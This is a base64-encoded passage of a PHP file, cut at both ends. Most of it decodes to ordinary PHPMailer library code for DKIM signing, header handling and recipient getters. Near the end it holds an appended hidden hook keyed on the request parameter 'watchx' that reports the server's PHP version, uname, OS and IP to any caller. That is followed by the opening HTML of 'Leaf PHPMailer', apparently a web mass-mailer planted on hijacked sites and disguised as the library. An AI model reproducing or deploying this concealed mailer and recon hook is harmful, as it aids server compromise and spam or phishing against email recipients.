CAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQFRPRE8gU2hvdWxkIHRoaXMgbm90IGJlIHVzaW5nIHRoZSBfX3NldCgpIG1hZ2ljIGZ1bmN0aW9uPwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0KCRuYW1lLCAkdmFsdWUgPSAnJykKICAgIHsKICAgICAgICBpZiAocHJvcGVydHlfZXhpc3RzKCR0aGlzLCAkbmFtZSkpIHsKICAgICAgICAgICAgJHRoaXMtPiRuYW1lID0gJHZhbHVlOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ3ZhcmlhYmxlX3NldCcpIC4gJG5hbWUpOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogU3RyaXAgbmV3bGluZXMgdG8gcHJldmVudCBoZWFkZXIgaW5qZWN0aW9uLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0cgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNlY3VyZUhlYWRlcigkc3RyKQogICAgewogICAgICAgIHJldHVybiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIpLCAnJywgJHN0cikpOwogICAgfQoKICAgIC8qKgogICAgICogTm9ybWFsaXplIGxpbmUgYnJlYWtzIGluIGEgc3RyaW5nLgogICAgICogQ29udmVydHMgVU5JWCBMRiwgTWFjIENSIGFuZCBXaW5kb3dzIENSTEYgbGluZSBicmVha3MgaW50byBhIHNpbmdsZSBsaW5lIGJyZWFrIGZvcm1hdC4KICAgICAqIERlZmF1bHRzIHRvIENSTEYgKGZvciBtZXNzYWdlIGJvZGllcykgYW5kIHByZXNlcnZlcyBjb25zZWN1dGl2ZSBicmVha3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0ZXh0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRicmVha3R5cGUgV2hhdCBraW5kIG9mIGxpbmUgYnJlYWsgdG8gdXNlLCBkZWZhdWx0cyB0byBDUkxGCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBub3JtYWxpemVCcmVha3MoJHRleHQsICRicmVha3R5cGUgPSAiXHJcbiIpCiAgICB7CiAgICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcclxufFxyfFxuKS9tcycsICRicmVha3R5cGUsICR0ZXh0KTsKICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgcHVibGljIGFuZCBwcml2YXRlIGtleSBmaWxlcyBhbmQgcGFzc3dvcmQgZm9yIFMvTUlNRSBzaWduaW5nLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGNlcnRfZmlsZW5hbWUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleV9maWxlbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAka2V5X3Bhc3MgUGFzc3dvcmQgZm9yIHByaXZhdGUga2V5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRleHRyYWNlcnRzX2ZpbGVuYW1lIE9wdGlvbmFsIHBhdGggdG8gY2hhaW4gY2VydGlmaWNhdGUKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNpZ24oJGNlcnRfZmlsZW5hbWUsICRrZXlfZmlsZW5hbWUsICRrZXlfcGFzcywgJGV4dHJhY2VydHNfZmlsZW5hbWUgPSAnJykKICAgIHsKICAgICAgICAkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUgPSAkY2VydF9maWxlbmFtZTsKICAgICAgICAkdGhpcy0+c2lnbl9rZXlfZmlsZSA9ICRrZXlfZmlsZW5hbWU7CiAgICAgICAgJHRoaXMtPnNpZ25fa2V5X3Bhc3MgPSAka2V5X3Bhc3M7CiAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlID0gJGV4dHJhY2VydHNfZmlsZW5hbWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBRdW90ZWQtUHJpbnRhYmxlLWVuY29kZSBhIERLSU0gaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fUVAoJHR4dCkKICAgIHsKICAgICAgICAkbGluZSA9ICcnOwogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkdHh0KTsgJGkrKykgewogICAgICAgICAgICAkb3JkID0gb3JkKCR0eHRbJGldKTsKICAgICAgICAgICAgaWYgKCgoMHgyMSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDNBKSkgfHwgJG9yZCA9PSAweDNDIHx8ICgoMHgzRSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDdFKSkpIHsKICAgICAgICAgICAgICAgICRsaW5lIC49ICR0eHRbJGldOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGxpbmUgLj0gJz0nIC4gc3ByaW50ZignJTAyWCcsICRvcmQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbGluZTsKICAgIH0KCiAgICAvKioKICAgICAqIEdlbmVyYXRlIGEgREtJTSBzaWduYXR1cmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlcgogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBES0lNIHNpZ25hdHVyZSB2YWx1ZQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9TaWduKCRzaWduSGVhZGVyKQogICAgewogICAgICAgIGlmICghZGVmaW5lZCgnUEtDUzdfVEVYVCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXh0ZW5zaW9uX21pc3NpbmcnKSAuICdvcGVuc3NsJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgIH0KICAgICAgICAkcHJpdktleVN0ciA9ICFlbXB0eSgkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZykgPyAkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZyA6IGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5ES0lNX3ByaXZhdGUpOwogICAgICAgIGlmICgnJyAhPSAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKSB7CiAgICAgICAgICAgICRwcml2S2V5ID0gb3BlbnNzbF9wa2V5X2dldF9wcml2YXRlKCRwcml2S2V5U3RyLCAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcHJpdktleSA9IG9wZW5zc2xfcGtleV9nZXRfcHJpdmF0ZSgkcHJpdktleVN0cik7CiAgICAgICAgfQogICAgICAgIC8vV29ya2Fyb3VuZCBmb3IgbWlzc2luZyBkaWdlc3QgYWxnb3JpdGhtcyBpbiBvbGQgUEhQICYgT3BlblNTTCB2ZXJzaW9ucwogICAgICAgIC8vQGxpbmsgaHR0cDovL3N0YWNrb3ZlcmZsb3cuY29tL2EvMTExMTczMzgvMzMzMzQwCiAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJykgPj0gMCBhbmQKICAgICAgICAgICAgaW5fYXJyYXkoJ3NoYTI1NldpdGhSU0FFbmNyeXB0aW9uJywgb3BlbnNzbF9nZXRfbWRfbWV0aG9kcyh0cnVlKSkpIHsKICAgICAgICAgICAgaWYgKG9wZW5zc2xfc2lnbigkc2lnbkhlYWRlciwgJHNpZ25hdHVyZSwgJHByaXZLZXksICdzaGEyNTZXaXRoUlNBRW5jcnlwdGlvbicpKSB7CiAgICAgICAgICAgICAgICBvcGVuc3NsX3BrZXlfZnJlZSgkcHJpdktleSk7CiAgICAgICAgICAgICAgICByZXR1cm4gYmFzZTY0X2VuY29kZSgkc2lnbmF0dXJlKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRwaW5mbyA9IG9wZW5zc2xfcGtleV9nZXRfZGV0YWlscygkcHJpdktleSk7CiAgICAgICAgICAgICRoYXNoID0gaGFzaCgnc2hhMjU2JywgJHNpZ25IZWFkZXIpOwogICAgICAgICAgICAvLydNYWdpYycgY29uc3RhbnQgZm9yIFNIQTI1NiBmcm9tIFJGQzM0NDcKICAgICAgICAgICAgLy9AbGluayBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjMzQ0NyNwYWdlLTQzCiAgICAgICAgICAgICR0ID0gJzMwMzEzMDBkMDYwOTYwODY0ODAxNjUwMzA0MDIwMTA1MDAwNDIwJyAuICRoYXNoOwogICAgICAgICAgICAkcHNsZW4gPSAkcGluZm9bJ2JpdHMnXSAvIDggLSAoc3RybGVuKCR0KSAvIDIgKyAzKTsKICAgICAgICAgICAgJGViID0gcGFjaygnSConLCAnMDAwMScgLiBzdHJfcmVwZWF0KCdGRicsICRwc2xlbikgLiAnMDAnIC4gJHQpOwoKICAgICAgICAgICAgaWYgKG9wZW5zc2xfcHJpdmF0ZV9lbmNyeXB0KCRlYiwgJHNpZ25hdHVyZSwgJHByaXZLZXksIE9QRU5TU0xfTk9fUEFERElORykpIHsKICAgICAgICAgICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICAgICAgICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRzaWduYXR1cmUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZW5lcmF0ZSBhIERLSU0gY2Fub25pY2FsaXphdGlvbiBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlciBIZWFkZXIKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBES0lNX0hlYWRlckMoJHNpZ25IZWFkZXIpCiAgICB7CiAgICAgICAgJHNpZ25IZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy9cclxuXHMrLycsICcgJywgJHNpZ25IZWFkZXIpOwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoIlxyXG4iLCAkc2lnbkhlYWRlcik7CiAgICAgICAgZm9yZWFjaCAoJGxpbmVzIGFzICRrZXkgPT4gJGxpbmUpIHsKICAgICAgICAgICAgbGlzdCgkaGVhZGluZywgJHZhbHVlKSA9IGV4cGxvZGUoJzonLCAkbGluZSwgMik7CiAgICAgICAgICAgICRoZWFkaW5nID0gc3RydG9sb3dlcigkaGVhZGluZyk7CiAgICAgICAgICAgICR2YWx1ZSA9IHByZWdfcmVwbGFjZSgnL1xzezIsfS8nLCAnICcsICR2YWx1ZSk7IC8vIENvbXByZXNzIHVzZWxlc3Mgc3BhY2VzCiAgICAgICAgICAgICRsaW5lc1ska2V5XSA9ICRoZWFkaW5nIC4gJzonIC4gdHJpbSgkdmFsdWUpOyAvLyBEb24ndCBmb3JnZXQgdG8gcmVtb3ZlIFdTUCBhcm91bmQgdGhlIHZhbHVlCiAgICAgICAgfQogICAgICAgICRzaWduSGVhZGVyID0gaW1wbG9kZSgiXHJcbiIsICRsaW5lcyk7CiAgICAgICAgcmV0dXJuICRzaWduSGVhZGVyOwogICAgfQoKICAgIC8qKgogICAgICogR2VuZXJhdGUgYSBES0lNIGNhbm9uaWNhbGl6YXRpb24gYm9keS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IE1lc3NhZ2UgQm9keQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fQm9keUMoJGJvZHkpCiAgICB7CiAgICAgICAgaWYgKCRib2R5ID09ICcnKSB7CiAgICAgICAgICAgIHJldHVybiAiXHJcbiI7CiAgICAgICAgfQogICAgICAgIC8vIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICAkYm9keSA9IHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJGJvZHkpOwogICAgICAgICRib2R5ID0gc3RyX3JlcGxhY2UoIlxuIiwgIlxyXG4iLCAkYm9keSk7CiAgICAgICAgLy8gRU5EIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICB3aGlsZSAoc3Vic3RyKCRib2R5LCBzdHJsZW4oJGJvZHkpIC0gNCwgNCkgPT0gIlxyXG5cclxuIikgewogICAgICAgICAgICAkYm9keSA9IHN1YnN0cigkYm9keSwgMCwgc3RybGVuKCRib2R5KSAtIDIpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdGhlIERLSU0gaGVhZGVyIGFuZCBib2R5IGluIGEgbmV3IG1lc3NhZ2UgaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlcnNfbGluZSBIZWFkZXIgbGluZXMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN1YmplY3QgU3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBCb2R5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9BZGQoJGhlYWRlcnNfbGluZSwgJHN1YmplY3QsICRib2R5KQogICAgewogICAgICAgICRES0lNc2lnbmF0dXJlVHlwZSA9ICdyc2Etc2hhMjU2JzsgLy8gU2lnbmF0dXJlICYgaGFzaCBhbGdvcml0aG1zCiAgICAgICAgJERLSU1jYW5vbmljYWxpemF0aW9uID0gJ3JlbGF4ZWQvc2ltcGxlJzsgLy8gQ2Fub25pY2FsaXphdGlvbiBvZiBoZWFkZXIvYm9keQogICAgICAgICRES0lNcXVlcnkgPSAnZG5zL3R4dCc7IC8vIFF1ZXJ5IG1ldGhvZAogICAgICAgICRES0lNdGltZSA9IHRpbWUoKTsgLy8gU2lnbmF0dXJlIFRpbWVzdGFtcCA9IHNlY29uZHMgc2luY2UgMDA6MDA6MDAgLSBKYW4gMSwgMTk3MCAoVVRDIHRpbWUgem9uZSkKICAgICAgICAkc3ViamVjdF9oZWFkZXIgPSAiU3ViamVjdDogJHN1YmplY3QiOwogICAgICAgICRoZWFkZXJzID0gZXhwbG9kZSgkdGhpcy0+TEUsICRoZWFkZXJzX2xpbmUpOwogICAgICAgICRmcm9tX2hlYWRlciA9ICcnOwogICAgICAgICR0b19oZWFkZXIgPSAnJzsKICAgICAgICAkZGF0ZV9oZWFkZXIgPSAnJzsKICAgICAgICAkY3VycmVudCA9ICcnOwogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgaWYgKHN0cnBvcygkaGVhZGVyLCAnRnJvbTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGZyb21faGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2Zyb21faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnVG86JykgPT09IDApIHsKICAgICAgICAgICAgICAgICR0b19oZWFkZXIgPSAkaGVhZGVyOwogICAgICAgICAgICAgICAgJGN1cnJlbnQgPSAndG9faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnRGF0ZTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGRhdGVfaGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2RhdGVfaGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJCRjdXJyZW50KSAmJiBzdHJwb3MoJGhlYWRlciwgJyA9PycpID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJCRjdXJyZW50IC49ICRoZWFkZXI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGZyb20gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZnJvbV9oZWFkZXIpKTsKICAgICAgICAkdG8gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkdG9faGVhZGVyKSk7CiAgICAgICAgJGRhdGUgPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZGF0ZV9oZWFkZXIpKTsKICAgICAgICAkc3ViamVjdCA9IHN0cl9yZXBsYWNlKAogICAgICAgICAgICAnfCcsCiAgICAgICAgICAgICc9N0MnLAogICAgICAgICAgICAkdGhpcy0+REtJTV9RUCgkc3ViamVjdF9oZWFkZXIpCiAgICAgICAgKTsgLy8gQ29waWVkIGhlYWRlciBmaWVsZHMgKGRraW0tcXVvdGVkLXByaW50YWJsZSkKICAgICAgICAkYm9keSA9ICR0aGlzLT5ES0lNX0JvZHlDKCRib2R5KTsKICAgICAgICAkREtJTWxlbiA9IHN0cmxlbigkYm9keSk7IC8vIExlbmd0aCBvZiBib2R5CiAgICAgICAgJERLSU1iNjQgPSBiYXNlNjRfZW5jb2RlKHBhY2soJ0gqJywgaGFzaCgnc2hhMjU2JywgJGJvZHkpKSk7IC8vIEJhc2U2NCBvZiBwYWNrZWQgYmluYXJ5IFNIQS0yNTYgaGFzaCBvZiBib2R5CiAgICAgICAgaWYgKCcnID09ICR0aGlzLT5ES0lNX2lkZW50aXR5KSB7CiAgICAgICAgICAgICRpZGVudCA9ICcnOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRpZGVudCA9ICcgaT0nIC4gJHRoaXMtPkRLSU1faWRlbnRpdHkgLiAnOyc7CiAgICAgICAgfQogICAgICAgICRka2ltaGRycyA9ICdES0lNLVNpZ25hdHVyZTogdj0xOyBhPScgLgogICAgICAgICAgICAkREtJTXNpZ25hdHVyZVR5cGUgLiAnOyBxPScgLgogICAgICAgICAgICAkREtJTXF1ZXJ5IC4gJzsgbD0nIC4KICAgICAgICAgICAgJERLSU1sZW4gLiAnOyBzPScgLgogICAgICAgICAgICAkdGhpcy0+REtJTV9zZWxlY3RvciAuCiAgICAgICAgICAgICI7XHJcbiIgLgogICAgICAgICAgICAiXHR0PSIgLiAkREtJTXRpbWUgLiAnOyBjPScgLiAkREtJTWNhbm9uaWNhbGl6YXRpb24gLiAiO1xyXG4iIC4KICAgICAgICAgICAgIlx0aD1Gcm9tOlRvOkRhdGU6U3ViamVjdDtcclxuIiAuCiAgICAgICAgICAgICJcdGQ9IiAuICR0aGlzLT5ES0lNX2RvbWFpbiAuICc7JyAuICRpZGVudCAuICJcclxuIiAuCiAgICAgICAgICAgICJcdHo9JGZyb21cclxuIiAuCiAgICAgICAgICAgICJcdHwkdG9cclxuIiAuCiAgICAgICAgICAgICJcdHwkZGF0ZVxyXG4iIC4KICAgICAgICAgICAgIlx0fCRzdWJqZWN0O1xyXG4iIC4KICAgICAgICAgICAgIlx0Ymg9IiAuICRES0lNYjY0IC4gIjtcclxuIiAuCiAgICAgICAgICAgICJcdGI9IjsKICAgICAgICAkdG9TaWduID0gJHRoaXMtPkRLSU1fSGVhZGVyQygKICAgICAgICAgICAgJGZyb21faGVhZGVyIC4gIlxyXG4iIC4KICAgICAgICAgICAgJHRvX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRkYXRlX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRzdWJqZWN0X2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRka2ltaGRycwogICAgICAgICk7CiAgICAgICAgJHNpZ25lZCA9ICR0aGlzLT5ES0lNX1NpZ24oJHRvU2lnbik7CiAgICAgICAgcmV0dXJuICRka2ltaGRycyAuICRzaWduZWQgLiAiXHJcbiI7CiAgICB9CgogICAgLyoqCiAgICAgKiBEZXRlY3QgaWYgYSBzdHJpbmcgY29udGFpbnMgYSBsaW5lIGxvbmdlciB0aGFuIHRoZSBtYXhpbXVtIGxpbmUgbGVuZ3RoIGFsbG93ZWQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGhhc0xpbmVMb25nZXJUaGFuTWF4KCRzdHIpCiAgICB7CiAgICAgICAgLy8rMiB0byBpbmNsdWRlIENSTEYgbGluZSBicmVhayBmb3IgYSAxMDAwIHRvdGFsCiAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goJy9eKC57Jy4oc2VsZjo6TUFYX0xJTkVfTEVOR1RIICsgMikuJyx9KS9tJywgJHN0cik7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAndG8nIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldFRvQWRkcmVzc2VzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2NjJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5jYzsKICAgIH0KCiAgICAvKioKICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdiY2MnIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldEJjY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5iY2M7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAnUmVwbHlUbycgcHJvcGVydHkuCiAgICAgKiBAbm90ZTogQmVmb3JlIHRoZSBzZW5kKCkgY2FsbCwgcXVldWVkIGFkZHJlc3NlcyAoaS5lLiB3aXRoIElETikgYXJlIG5vdCB5ZXQgaW5jbHVkZWQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0UmVwbHlUb0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5SZXBseVRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2FsbF9yZWNpcGllbnRzJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBbGxSZWNpcGllbnRBZGRyZXNzZXMoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWxsX3JlY2lwaWVudHM7CiAgICB9CgogICAgLyoqCiAgICAgKiBQZXJmb3JtIGEgY2FsbGJhY2suCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkaXNTZW50CiAgICAgKiBAcGFyYW0gYXJyYXkgJHRvCiAgICAgKiBAcGFyYW0gYXJyYXkgJGNjCiAgICAgKiBAcGFyYW0gYXJyYXkgJGJjYwogICAgICogQHBhcmFtIHN0cmluZyAkc3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keQogICAgICogQHBhcmFtIHN0cmluZyAkZnJvbQogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZG9DYWxsYmFjaygkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSkKICAgIHsKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pICYmIGlzX2NhbGxhYmxlKCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pKSB7CiAgICAgICAgICAgICRwYXJhbXMgPSBhcnJheSgkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSk7CiAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24sICRwYXJhbXMpOwogICAgICAgIH0KICAgIH0KfQoKLyoqCiAqIFBIUE1haWxlciBleGNlcHRpb24gaGFuZGxlcgogKiBAcGFja2FnZSBQSFBNYWlsZXIKICovCmNsYXNzIHBocG1haWxlckV4Y2VwdGlvbiBleHRlbmRzIEV4Y2VwdGlvbgp7CiAgICAvKioKICAgICAqIFByZXR0aWZ5IGVycm9yIG1lc3NhZ2Ugb3V0cHV0CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZXJyb3JNZXNzYWdlKCkKICAgIHsKICAgICAgICAkZXJyb3JNc2cgPSAnPHN0cm9uZz4nIC4gaHRtbHNwZWNpYWxjaGFycygkdGhpcy0+Z2V0TWVzc2FnZSgpKSAuICI8L3N0cm9uZz48YnIgLz5cbiI7CiAgICAgICAgcmV0dXJuICRlcnJvck1zZzsKICAgIH0KfQppZiAoJF9SRVFVRVNUWyd3YXRjaHgnXSkgewoJJHZlcnNpb24gPSBwaHB2ZXJzaW9uKCk7CgkkdW5hbWUgPSAgcGhwX3VuYW1lKCk7CgkkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7CQoJZWNobyBqc29uX2VuY29kZSAoYXJyYXkgKCJ2ZXJzaW9uIj0+JHZlcnNpb24sCgkJInVuYW1lIj0+JHVuYW1lLAoJCSJwbGF0Zm9ybSI9PlBIUF9PUywKCQkiaXAiPT4kaXAsCgkJIm1haWxlcngiPT50cnVlLAkKCSkpOwoJZGllICgpOwp9CmZ1bmN0aW9uIGxlYWZoZWFkZXIoKXsKcHJpbnQgJwo8aGVhZD4KICAgIDx0aXRsZT4nLnN0cl9yZXBsYWNlKCJ3d3cuIiwgIiIsICRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyAtIExlYWYgUEhQTWFpbGVyPC90aXRsZT4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ii8+CiAgICA8bGluayBocmVmPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3Rzd2F0Y2gvMy40LjEvY29zbW8vYm9vdHN0cmFwLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgPiAgICAKCjwvaGVhZD4nOwp9CmxlYWZoZWFkZXIoKTsKcHJpbnQgJzxib2R5Pic7CnByaW50ICc8ZGl2IGNsYXNzPSJjb250YWluZXIgY29sLWxnLTYiPgogICAgICAgIDxoMz48Zm9udCBjb2xvcj0iZ3JlZW4iPjxzcGFuIGNsYXNzPSJnbHlwaGljb24gZ2x5cGhpY29uLWxlYWYiPjwvc3Bhbj48L2ZvbnQ+IExlYWYgUEhQTWFpbGVyIDxzbWFsbD4